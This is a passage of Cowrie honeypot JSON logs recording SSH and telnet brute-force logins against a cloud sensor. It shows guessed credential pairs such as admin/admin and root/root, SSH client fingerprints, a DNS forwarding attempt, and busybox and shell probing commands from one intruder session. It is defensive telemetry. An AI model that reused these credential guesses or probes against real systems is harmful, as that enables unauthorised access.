eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:07.173982Z","src_ip":"87.251.64.176","session":"c2fa3136e77e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:07.458601Z","src_ip":"87.251.64.176","session":"c2fa3136e77e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:07.558494Z","session":"c2fa3136e77e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:07.654647Z","src_ip":"87.251.64.176","session":"c2fa3136e77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:07.756901Z","src_ip":"87.251.64.176","session":"c2fa3136e77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.659252405166626,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:15.236700Z","src_ip":"135.148.14.151","session":"23bf22b33c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00406384468079,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:18.654562Z","src_ip":"135.148.14.151","session":"b8c13a117d3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60358,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa290d33b86","protocol":"telnet","message":"New connection: 135.148.14.151:60358 (159.203.135.109:23) [session: eaa290d33b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:19.435912Z"}
{"eventid":"cowrie.session.closed","duration":35.1188063621521,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:20.115606Z","src_ip":"135.148.14.151","session":"62253df8d1ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23336625099182,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:20.151917Z","src_ip":"135.148.14.151","session":"eeed60bc24f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2810263633728,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:26.156860Z","src_ip":"135.148.14.151","session":"b9ab729d6540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41672,"dst_ip":"159.203.135.109","dst_port":23,"session":"99339085d50a","protocol":"telnet","message":"New connection: 135.148.14.151:41672 (159.203.135.109:23) [session: 99339085d50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:27.362234Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dd710abd71d","protocol":"telnet","message":"New connection: 135.148.14.151:45748 (159.203.135.109:23) [session: 0dd710abd71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:35.881154Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60966,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef251788a014","protocol":"telnet","message":"New connection: 135.148.14.151:60966 (159.203.135.109:23) [session: ef251788a014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:36.591484Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47676,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d2905dca31f","protocol":"telnet","message":"New connection: 135.148.14.151:47676 (159.203.135.109:23) [session: 7d2905dca31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:40.186481Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":57424,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc649c6999d3","protocol":"ssh","message":"New connection: 176.32.39.21:57424 (10.17.0.5:22) [session: fc649c6999d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:41.769294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:41.774113Z","src_ip":"176.32.39.21","session":"fc649c6999d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:41.893723Z","src_ip":"176.32.39.21","session":"fc649c6999d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybhdfyf","message":"login attempt [root/ybhdfyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:42.255060Z","src_ip":"176.32.39.21","session":"fc649c6999d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:43.377323Z","src_ip":"176.32.39.21","session":"fc649c6999d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52574,"dst_ip":"159.203.135.109","dst_port":23,"session":"8573c2685706","protocol":"telnet","message":"New connection: 135.148.14.151:52574 (159.203.135.109:23) [session: 8573c2685706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:51.074624Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0773b17b1b0","protocol":"telnet","message":"New connection: 135.148.14.151:55048 (159.203.135.109:23) [session: d0773b17b1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:53.424009Z"}
{"eventid":"cowrie.session.closed","duration":34.9734263420105,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:54.409222Z","src_ip":"135.148.14.151","session":"eaa290d33b86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55090,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb89c1b287a","protocol":"telnet","message":"New connection: 135.148.14.151:55090 (159.203.135.109:23) [session: 0bb89c1b287a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:54.534473Z"}
{"eventid":"cowrie.session.closed","duration":33.02075791358948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:08.901804Z","src_ip":"135.148.14.151","session":"0dd710abd71d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49877953529358,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:14.685174Z","src_ip":"135.148.14.151","session":"7d2905dca31f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.72580885887146,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:19.317049Z","src_ip":"135.148.14.151","session":"ef251788a014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.85938358306885,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:20.221499Z","src_ip":"135.148.14.151","session":"99339085d50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36842,"dst_ip":"159.203.135.109","dst_port":22,"session":"c988b2596555","protocol":"ssh","message":"New connection: 103.176.20.57:36842 (159.203.135.109:22) [session: c988b2596555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:20.445567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:20.451037Z","src_ip":"103.176.20.57","session":"c988b2596555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:20.701917Z","src_ip":"103.176.20.57","session":"c988b2596555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24081991","message":"login attempt [root/24081991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:21.461840Z","src_ip":"103.176.20.57","session":"c988b2596555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:22.715643Z","src_ip":"103.176.20.57","session":"c988b2596555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.24824118614197,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:25.322717Z","src_ip":"135.148.14.151","session":"8573c2685706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.797553300857544,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:28.221464Z","src_ip":"135.148.14.151","session":"d0773b17b1b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.537646770477295,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:32.072041Z","src_ip":"135.148.14.151","session":"0bb89c1b287a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43776,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b5ca77796c5","protocol":"telnet","message":"New connection: 135.148.14.151:43776 (159.203.135.109:23) [session: 5b5ca77796c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:32.638722Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41622,"dst_ip":"10.17.0.5","dst_port":22,"session":"0907e6f25128","protocol":"ssh","message":"New connection: 147.45.199.80:41622 (10.17.0.5:22) [session: 0907e6f25128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:46.623232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:46.628824Z","src_ip":"147.45.199.80","session":"0907e6f25128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:46.725010Z","src_ip":"147.45.199.80","session":"0907e6f25128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paloma","message":"login attempt [root/paloma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:47.012505Z","src_ip":"147.45.199.80","session":"0907e6f25128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47996,"dst_ip":"159.203.135.109","dst_port":23,"session":"56b3f40088d6","protocol":"telnet","message":"New connection: 135.148.14.151:47996 (159.203.135.109:23) [session: 56b3f40088d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:47.695493Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:18:48.110599Z","src_ip":"147.45.199.80","session":"0907e6f25128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":44708,"dst_ip":"159.203.135.109","dst_port":23,"session":"95765fa99a7c","protocol":"telnet","message":"New connection: 45.194.92.29:44708 (159.203.135.109:23) [session: 95765fa99a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:01.663803Z"}
{"eventid":"cowrie.session.closed","duration":0.01040959358215332,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:01.674065Z","src_ip":"45.194.92.29","session":"95765fa99a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":44722,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fe4960bfa1c","protocol":"telnet","message":"New connection: 45.194.92.29:44722 (159.203.135.109:23) [session: 6fe4960bfa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:01.686785Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:02.188696Z","src_ip":"45.194.92.29","session":"6fe4960bfa1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.502058744430542,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:03.188728Z","src_ip":"45.194.92.29","session":"6fe4960bfa1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":33206,"dst_ip":"159.203.135.109","dst_port":23,"session":"2faf0573bde6","protocol":"telnet","message":"New connection: 45.194.92.29:33206 (159.203.135.109:23) [session: 2faf0573bde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:03.207658Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:03.702037Z","src_ip":"45.194.92.29","session":"2faf0573bde6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4961507320404053,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:04.703686Z","src_ip":"45.194.92.29","session":"2faf0573bde6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.194.92.29","src_port":33222,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9fdede51e56","protocol":"telnet","message":"New connection: 45.194.92.29:33222 (159.203.135.109:23) [session: d9fdede51e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:04.713539Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:05.212500Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:05.284027Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:06.212780Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76536011695862,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:06.403891Z","src_ip":"135.148.14.151","session":"5b5ca77796c5","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:06.712944Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:07.317633Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:07.912443Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:07.916671Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.2","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:08.513334Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.815727949142456,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:08.528910Z","src_ip":"45.194.92.29","session":"d9fdede51e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.48477816581726,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:12.179936Z","src_ip":"135.148.14.151","session":"56b3f40088d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36012,"dst_ip":"159.203.135.109","dst_port":23,"session":"5feb0fb1ea72","protocol":"telnet","message":"New connection: 135.148.14.151:36012 (159.203.135.109:23) [session: 5feb0fb1ea72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:21.646343Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39322,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4bc731c061a","protocol":"telnet","message":"New connection: 135.148.14.151:39322 (159.203.135.109:23) [session: a4bc731c061a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:24.707502Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52998,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca4901f34ab","protocol":"telnet","message":"New connection: 135.148.14.151:52998 (159.203.135.109:23) [session: eca4901f34ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:25.709785Z"}
{"eventid":"cowrie.session.closed","duration":0.007407665252685547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:25.717040Z","src_ip":"135.148.14.151","session":"eca4901f34ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":48700,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bb86d434274","protocol":"ssh","message":"New connection: 103.149.170.125:48700 (159.203.135.109:22) [session: 3bb86d434274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:30.976897Z"}
